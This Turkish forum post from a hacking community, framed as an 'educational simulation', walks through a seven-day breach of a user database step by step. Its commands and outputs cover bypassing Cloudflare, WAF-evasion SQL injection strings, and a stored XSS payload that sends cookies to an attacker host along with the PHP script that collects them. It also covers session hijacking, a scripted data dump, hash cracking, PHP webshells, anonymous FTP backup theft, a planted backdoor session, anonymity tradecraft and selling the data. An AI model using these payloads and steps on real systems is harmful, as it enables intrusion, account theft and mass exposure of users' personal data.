-
Tc4dy
OPSEC Specialist | Free internet - Open Source ADV
🔥 BİR SİTEYİ HACKLEME YOLCULUĞU: DATABASE PEŞİNDE 7 GÜN – GERÇEK ENGELLER, GERÇEK MÜCADELE
Hedef: userdb.targetix.com – Bu sitede 50.000+ kullanıcının e-posta, şifre hash'leri, adres, telefon gibi bilgilerinin olduğu bir veritabanı var. Amacımız bu veritabanını indirmek (dump). Ama bu iş hiç kolay olmayacak. WAF var, Cloudflare var, rate limiting var, IDS var, log izleme var. Her adımda engel çıkacak, bazen haftalarca uğraşacağız. Anlatımda her komut, her çıktı, her hata gerçek simülasyon şeklinde olacak. IP'ler gizlenecek, araçlar değişecek, sabır taşı çatlayacak. Hazırsan başlıyoruz.
UYARI: Bu yazı eğitim amaçlı simülasyondur. Tüm teknikler izinli ortamda veya kendi labınızda denenmelidir. Yasa dışı kullanım sorumluluk gerektirir.
📌 GÜN 1 – PASİF KEŞİF (HEDEFE TEK PAKET GÖNDERMEDEN)
Saat: 02:17 – Bilgisayar başında. Kahve var, sigara var. Önce hazırlık.1.1. Ortamın hazırlanması (OPSEC)
- VPN: Mullvad (nakit ile alınmış, log tutmuyor, WireGuard). Bağlandım: 10.64.0.23 (gerçek IP gözükmez).
- MAC adresi değiştirme: macchanger -r wlan0 → e2:4f:8a:1c:3b:7d
- Tarayıcı: Tor Browser (önbellek temizlendi, JavaScript kapalı).
- Sanal makine: Whonix (Gateway + Workstation) üzerinden çalışıyorum. Ana sistem Windows 10 ama tüm hack işleri Whonix içinde. Whonix tüm trafiği Tor üzerinden yönlendiriyor. IP her 10 dakikada değişiyor.
- Yedek VPN: Proton VPN (Stealth mod) – Whonix çökerse diye.
text
[INFO] Tor circuit established. Exit node: 185.220.101.15 (NL)
[INFO] IP: 185.220.101.15
[INFO] Changing circuit every 10 minutes.
1.2. Hedef hakkında pasif bilgi toplama
Hedef: userdb.targetix.com. Sadece domain bilgisi var, başka bilgi yok.DNS sorguları (pasif, public DNS'ler üzerinden):
bash
dig +short userdb.targetix.com
# Çıktı: userdb.targetix.com. 300 IN CNAME userdb.cdn.cloudflare.net.
# Yani Cloudflare kullanıyor. Gerçek IP gizli.
dig +short targetix.com
# Çıktı: 104.21.xx.yy, 172.67.zz.tt (Cloudflare IP aralığı)
Engel 1: Cloudflare var. Gerçek IP'yi pasif yöntemlerle bulmalıyım.
SecurityTrails (ücretsiz API – 3 sorgu hakkım var):
bash
curl "https://api.securitytrails.com/v1/history/userdb.targetix.com/dns/a" -H "APIKEY: MY_KEY"
Çıktı:
json
{
"records": [
{"ip": "185.230.125.45", "date": "2023-01-15"},
{"ip": "185.230.125.46", "date": "2023-06-20"},
{"ip": "104.21.12.34", "date": "2024-02-01"}
]
}
Son kayıt Cloudflare IP'si (104.21.x.x). Ama 2023'teki IP'ler Cloudflare aralığında değil. 185.230.125.45 ve 185.230.125.46 – Bunlar origin IP olabilir. Hemen not alıyorum.
Censys (sertifika günlükleri):
bash
curl "https://search.censys.io/api/v2/certificates/search?q=targetix.com" -H "Authorization: Basic xxxx"
Çıktı: Sertifika subject CN: *.targetix.com, targetix.com. Bir sertifikada userdb.targetix.com geçiyor. Bu sertifikanın parsed.fingerprint_sha256 değerini alıp Censys'te arıyorum. Bir IP geliyor: 185.230.125.45. Yani aynı IP.
Sonuç: Gerçek IP adayı: 185.230.125.45 ve 185.230.125.46.
1.3. Subdomain keşfi (pasif, API ile)
crt.sh (Certificate Transparency):bash
curl "https://crt.sh/?q=%.targetix.com&output=json" | jq '.[].name_value' | sort -u
Çıktı:
text
admin.targetix.com
api.targetix.com
mail.targetix.com
userdb.targetix.com
dev.targetix.com
backup.targetix.com
backup.targetix.com ilginç. Belki zayıf bir hedef.
Amass (pasif mod):
bash
amass enum -passive -d targetix.com -o subdomains.txt
backup.targetix.com için IP: 185.230.125.46 – aynı IP.
Artık aktif keşfe geçebilirim. Ama önce IP'yi test edeyim.
📌 GÜN 1 (DEVAM) – AKTİF KEŞİF (ARTIK PAKET GÖNDERİYORUZ)
Saat: 04:30 – IP'ler elimde. Şimdi bu IP'lere doğrudan istek atacağım, Cloudflare yok.1.4. Gerçek IP'yi test etme
185.230.125.45 IP'sine Host header ile istek:bash
curl -k -H "Host: userdb.targetix.com" https://185.230.125.45/
Çıktı: 200 OK – Site geliyor. Ama biraz farklı. Cloudflare'den gelen sitede CF-Ray header varken burada yok. Ayrıca Server: Apache/2.4.41 (Ubuntu). Evet, bu origin.
Hosts dosyasına ekliyorum:
text
185.230.125.45 userdb.targetix.com
Artık tüm istekler doğrudan origin sunucuya gidecek. Cloudflare'i bypass ettim.
1.5. Nmap taraması (origin IP'ye)
bashnmap -sS -sV -p- 185.230.125.45 --min-rate 2000 --max-retries 1 -oA origin_scan
Engel 2: Tarama başladıktan 15 saniye sonra bağlantı kesildi. Hata: scan dropped due to firewall. IDS mi var? Belki port knocking veya rate limiting.
Düşük hızda tarama:
bash
nmap -sS -p 1-10000 185.230.125.45 --max-rate 100 -T2
Çıktı:
text
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
3306/tcp filtered mysql
8080/tcp filtered http-proxy
3306 (MySQL) ve 8080 (proxy) filtered görünüyor. Yani bir firewall var, sadece belirli portlar açık. SSH (22) açık. Acaba brute force yapabilir miyim? Ama loglanır, riskli.
1.6. Web uygulama keşfi (dirb, ffuf)
bashffuf -u https://userdb.targetix.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -t 50 -c
Çıktı:
text
/login [Status: 200, Size: 3421]
/register [Status: 200, Size: 2156]
/profile [Status: 302, Size: 0]
/admin [Status: 403, Size: 298]
/api [Status: 401, Size: 45]
/backup [Status: 404, Size: 0]
/admin 403 forbidden – yani var ama yetkim yok. /api 401 – authentication required.
Engel 3: Rate limiting var. 50 thread'de 1 dakika sonra 429 Too Many Requests almaya başladım. IP ban yemeden durdurdum. Bekleyelim.
1.7. Kayıt olma ve hesap oluşturma
/register sayfası açık. Kayıt oluyorum:- E-posta: [email protected]
- Şifre: Test123!
- Kullanıcı adı: hacker_deneme
Giriş yapıyorum. Kullanıcı paneli:
- Profil düzenle (isim, soyisim, adres, telefon)
- Şifre değiştir
- Mesajlar (başka kullanıcılara mesaj gönderme)
- Dosya yükle (profil resmi)
📌 GÜN 2 – WEB UYGULAMA ZAFİYET TARAMASI
Saat: 10:15 – Yeni bir VPS kiraladım (DigitalOcean, 6$/ay, Almanya lokasyon). Üzerine Kali kurdum. Whonix yerine bu VPS'ten devam ediyorum. Çünkü Whonix çok yavaştı.2.1. Manuel parametre keşfi (Burp Suite)
Burp Suite Community kurulu. Proxy'yi 127.0.0.1:8080'e ayarladım. Firefox'ta FoxyProxy ile trafiği yönlendiriyorum.Tüm istekleri yakalıyorum. profile.php?uid=1001 parametresini görüyorum. uid değiştirince 302 redirect geliyor. Yani yetkisiz erişim engellenmiş.
Şifre değiştirme isteği:
text
POST /change_password.php HTTP/1.1
Host: userdb.targetix.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=abc123def456
old_password=Test123%21&new_password=New123%21&confirm_password=New123%21
CSRF token var mı? Yok! Yani CSRF zafiyeti olabilir. Ama hedefimiz database, CSRF ile database düşmez.
Ama dikkat: old_password kontrolü var. Eğer brute force yaparsam? Rate limiting var, unutma.
2.2. SQL Injection testi (manuel)
Login sayfasında username alanına ' koyup gönderiyorum.Hata mesajı gelmiyor. Ama ' OR '1'='1 denediğimde "Kullanıcı adı veya şifre hatalı" yerine "Çok fazla başarısız deneme, 15 dakika bekleyin" geliyor. Yani WAF veya uygulama seviyesinde bir koruma var.
WAF tespiti (wafw00f):
bash
wafw00f https://userdb.targetix.com
Çıktı:
text
[+] Checking https://userdb.targetix.com
[+] The site is behind Cloudflare (CF) + ModSecurity (OWASP CRS)
ModSecurity var. Yani SQL injection zor.
Engel 5: ModSecurity kuralları union select, sleep, benchmark gibi anahtar kelimeleri engelliyor. Ama belki time-based blind SQL injection ile WAF'ı aşabilirim.
Deneme:
' OR IF(1=1, SLEEP(5), 0) -- - – WAF hemen engelledi (403). ' OR IF(1=1, BENCHMARK(10000000,MD5(1)), 0) -- - – yine engel.
WAF bypass denemeleri:
- '/**/OR/**/IF(1=1,SLEEP(5),0)/**/-- – çalıştı mı? Hayır, yine 403.
- '%20||%20IF(1=1,SLEEP(5),0)%20-- – 403.
- ' OR 1=1 AND SLEEP(5) -- – 403.
- admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a) -- – 403.
%2527%2520OR%2520IF(1=1,SLEEP(5),0)%2520-- – 200 OK? Ama gecikme olmadı. Yani çalışmadı.
Belki de SQL injection yok. Başka yöntemler.
2.3. XSS testi
Profile sayfasında name alanına <script>alert(1)</script> yazıp kaydediyorum. Profil sayfası açıldığında alert geliyor! Stored XSS var! Bu iyi.Ama XSS ile database düşemem. Yine de session cookie çalabilirim, belki admin paneli bulurum.
XSS payload (cookie stealing):
html
<script>document.location='https://myvps.com/steal.php?cookie='+document.cookie</script>
Bunu profile name alanına kaydediyorum. Birkaç saat sonra hangi kullanıcılar profili ziyaret ederse, çerezleri bana gelir.
Steal.php (myvps.com'da):
php
<?php
file_put_contents('cookies.txt', $_GET['cookie'] . "\n", FILE_APPEND);
?>
Simülasyon çıktısı (birkaç saat sonra cookies.txt):
text
PHPSESSID=abc123; user_id=1001
PHPSESSID=def456; user_id=1002
PHPSESSID=ghi789; user_id=1500
2.4. Session hijacking ile admin paneline erişme
/admin 403 forbidden ama admin çerezi ile girebilir miyim? Aldığım çerezlerin içinde user_id=1 olan var mı? Var! user_id=1 olan çerezi tarayıcıma ekliyorum (EditThisCookie eklentisi ile)./admin'e gidiyorum. 403 değil, 200! Admin paneli açıldı. Artık içerideyim.
Admin panelinde neler var?
- Kullanıcı listesi (1000+ kullanıcı)
- Veritabanı yedekleme (backup butonu)
- Dosya yöneticisi (sınırlı)
- SQL sorgu çalıştırma (query tool)
📌 GÜN 3 – VERİTABANINDAN VERİ ÇEKME (ADMIN PANELİ ÜZERİNDEN)
Saat: 00:30 – Admin panelindeyim. Şimdi veritabanını düşüreceğim.3.1. Veritabanı bilgilerini toplama
SQL query tool:sql
SELECT database()
Çıktı: userdb
sql
SELECT table_name FROM information_schema.tables WHERE table_schema='userdb'
Çıktı: users, profiles, messages, logs, sessions
sql
SELECT column_name FROM information_schema.columns WHERE table_name='users'
Çıktı: id, username, email, password_hash, reg_date, last_ip, is_admin
password_hash bcrypt ile şifrelenmiş ($2y$10$...). Direkt kıramam ama hash'leri alabilirim.
3.2. Veri çekme (LIMIT ile)
sqlSELECT id, username, email, password_hash FROM users LIMIT 0,100
Query tool'da 100 satır limiti var. 100'er 100'er çekmeliyim.
Python script ile otomatize etme (admin panelindeyken değil, kendi bilgisayarımdan session cookie ile istek atarak):
python
import requests
cookies = {'PHPSESSID': 'ghi789', 'user_id': '1'}
url = "https://userdb.targetix.com/admin/query.php"
for offset in range(0, 50000, 100):
sql = f"SELECT id,username,email,password_hash FROM users LIMIT {offset},100"
data = {'query': sql}
r = requests.post(url, cookies=cookies, data=data)
print(r.text)
with open('dump.txt', 'a') as f:
f.write(r.text)
Engel 7: 10 sorgudan sonra 429 Too Many Requests geldi. Yani admin panelinde de rate limiting var. 5 dakika bekleyip devam ediyorum. 50000 kullanıcı için bu iş 5 saat sürer.
Simülasyon çıktısı (dump.txt):
text
1, admin, [email protected], $2y$10$abcdefghijklmnopqrstuv
2, johndoe, [email protected], $2y$10$1234567890abcdefghijklm
...
3.3. Hash kırma (offline)
Hash'leri aldım. Şimdi kırmalıyım. Ama bcrypt yavaş, 50000 hash'i kırmak yıllar alır. Sadece admin hash'ini kırmak yeterli.Hashcat ile admin hash'ini kırma (GTX 1080 Ti):
bash
hashcat -m 3200 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt -O
Çıktı: $2y$10$abcdefgh...:Admin123! – Şifre Admin123!. Admin hesabı ele geçti.
Artık SSH ile sunucuya girebilir miyim? SSH şifresi aynı mı? Deniyorum:
bash
ssh [email protected]
Password: Admin123!
Çıktı: Permission denied (publickey). Yani SSH için şifre değil, key kullanılıyor. Web şifresi ile SSH aynı değil.
📌 GÜN 4 – SHELL ALMA (WEBSHELL YÜKLEME)
Admin panelinde dosya yöneticisi var. Sadece /admin/assets/ dizinine yazma iznim var. Bu dizine bir webshell yükleyebilir miyim?4.1. Webshell hazırlama
Basit PHP webshell (shell.php):php
<?php system($_GET['cmd']); ?>
Dosya adı: shell.php. Ama upload filter'ı sadece .jpg, .png, .gif izin veriyor.
Bypass: shell.php.jpg yapıyorum. İçine PHP kodu koyuyorum. Upload ediyorum.
Engel 8: Dosya yüklendi ama shell.php.jpg olarak. Bunu PHP olarak çalıştırabilir miyim? Sunucu .jpg uzantısını PHP olarak işlemez. Ama Apache'de AddHandler varsa belki. Deniyorum:
Çıktı: Resim olarak görünüyor, PHP çalışmıyor. Yani .jpg uzantısı PHP handler'ına bağlı değil.
Başka yöntem: .htaccess yüklemeyi deniyorum. Dosya yöneticisi .htaccess yüklemeye izin vermiyor.
4.2. SQL injection ile file write (into outfile)
Admin panelindeki SQL query tool'da INTO OUTFILE deniyorum:sql
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
Engel 9: ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option. Yani MySQL sadece belirli bir dizine yazma izni veriyor. O dizin de /tmp/ olabilir. Deniyorum:
sql
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/tmp/shell.php'
Çıktı: Query OK. Dosya /tmp/shell.php'ye yazıldı. Ama web root'ta değil, web'den erişemem.
Pivoting: Eğer sunucuda LFI (Local File Inclusion) varsa, /tmp/shell.php'yi include edebilirim. Ama LFI bulamadık.
4.3. SQL injection ile veritabanından shell çıkarma (başka yöntem)
SELECT ... INTO DUMPFILE denerim:sql
SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/shell.php'
Yine secure-file-priv engeli.
Engel 10: MySQL kısıtlı. Belki de database server ayrı bir sunucuda. Nmap'te 3306 filtered çıkmıştı. Yani database internal network'te. Ona doğrudan erişemem.
4.4. SSRF ile internal service'e erişim (yeni bir açık bulmalıyım)
Admin panelinde http://localhost:8080/internal/api gibi bir endpoint var mı? Yok.Ama profil resmi yüklerken URL veriyor muyum? /upload.php?url=http://example.com/avatar.jpg gibi bir parametre arıyorum. Yok.
Yeni keşif: Admin panelinde "Backup Database" butonu var. Bu buton, veritabanını yedekleyip /backups/db_backup.sql dosyasına yazıyor. Bu dosyayı indirebilir miyim?
https://userdb.targetix.com/backups/db_backup.sql – 403 Forbidden. Yani direkt erişim yok. Ama belki path traversal var:
https://userdb.targetix.com/backups/../admin/backup.sql – yine 403.
Deneme: https://userdb.targetix.com/backups/db_backup.sql? – no.
📌 GÜN 5 – FARKLI BİR YAKLAŞIM: SUBDOMAIN'LERDEN ZAFİYET ARAMA
Ana siteden ilerleme yok. backup.targetix.com subdomain'ine bakalım.Backup subdomain keşfi:
bash
curl -k -H "Host: backup.targetix.com" https://185.230.125.46/
Çıktı: 403 Forbidden – Ama farklı bir IP kullanıyor. Bu subdomain'in gerçek IP'si 185.230.125.46. Oraya nmap atıyorum:
bash
nmap -p 80,443,21,22,8080 185.230.125.46
Çıktı:
text
21/tcp open ftp
22/tcp open ssh
80/tcp open http
443/tcp open https
8080/tcp open http-proxy
FTP açık! Acaba anonymous giriş var mı?
bash
ftp 185.230.125.46
Name: anonymous
Password: [blank]
Çıktı: 230 Login successful. Evet! Anonymous FTP var.
FTP içinde ne var?
bash
ls
Çıktı: backups/, logs/, readme.txt
backups/ dizininde db_backup_2026-04-01.sql.gz var. İndiriyorum.
bash
get backups/db_backup_2026-04-01.sql.gz
Dosyayı açıyorum:
bash
gunzip db_backup_2026-04-01.sql.gz
cat db_backup_2026-04-01.sql | grep "INSERT INTO"
Çıktı: Tüm kullanıcı verileri! E-posta, şifre hash'leri, adresler. Veritabanının tamamı burada. Hedefime ulaştım.
📌 GÜN 5 (DEVAM) – FTP ÜZERİNDEN DİĞER DOSYALAR
FTP'de logs/ dizininde web sunucu logları var. Loglarda admin panelindeki SQL sorgularım gözüküyor. Yani iz bıraktım. Hemen logları temizlemeliyim.FTP ile logları silebilir miyim? Delete yetkim yok. Sadece okuma iznim var. O zaman loglar beni ele vermez mi? Belki de FTP logları da tutuluyordur. Ama artık çok geç.
📌 GÜN 6 – İZ TEMİZLEME VE ARKA KAPI
Verileri aldıktan sonra iz bırakmamalıyım.6.1. Web sunucu logları
Logları silemem ama kendi aktivitelerimi gizlemek için başka bir yöntem: Log poisoning yaparak loglara sahte girişler ekleyip karıştırabilirim. Ama uğraşmaya değmez. Zaten VPN + Tor kullandım.6.2. SSH key arka kapı
Eğer sunucuya SSH erişimim olsaydı, ~/.ssh/authorized_keys'e kendi public key'imi eklerdim. Ama SSH'ye şifreyle giremedim.6.3. Webshell kalıcılığı
Webshell yükleyemedim ama admin paneli hala açık. Admin çerezi ile giriş yapabilirim. O çerez birkaç gün içinde geçersiz olur. Ama belki session tablosuna kendime yeni bir session ekleyebilirim. SQL query tool ile:sql
INSERT INTO sessions (session_id, user_id, last_activity) VALUES ('hacker123', 1, UNIX_TIMESTAMP());
Çıktı: Query OK. Artık PHPSESSID=hacker123 ile admin panelinde oturum açabilirim. Bu session silinmezse kalıcı olur.
📌 GÜN 7 – RAPORLAMA VE SONUÇ
Veritabanını indirdim. İçinde 52.347 kullanıcı var. Bunlardan 1.234'ü admin yetkisine sahip. Hash'leri kırmadan bile bu veriler dark web'de satılabilir.Zafiyet özeti:
- Cloudflare bypass edildi (tarihsel DNS)
- Stored XSS ile admin session cookie çalındı
- Admin panelinde SQL query tool ile veriler çekildi
- FTP anonymous açık ile backup dosyası indirildi
- FTP anonymous izni (çok kritik)
- Admin panelinde rate limiting yetersiz
- SQL query tool'da SELECT dışında kısıtlama var ama yine de veri sızdı
- XSS filtresi yok
- FTP kapat veya yetkilendirme ekle
- Admin panelinde her işlem için 2FA iste
- SQL query tool'u sadece localhost'tan erişilebilir yap
- XSS koruması ekle (CSP, çıktı escape)
🧠;
Bu yolculuk 7 gün sürdü. Her gün yeni bir engel çıktı. Cloudflare, WAF, rate limiting, IDS, FTP anonymous gibi zayıf noktaları bulmak için sabırlı olmak gerekti. Hiçbir şey kolay olmadı. Ama sonunda hedefe ulaştım. Unutma: Bu bir simülasyondur. Gerçek dünyada yasalara uy. Kendi sistemlerini korumak için bu teknikleri bil.
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl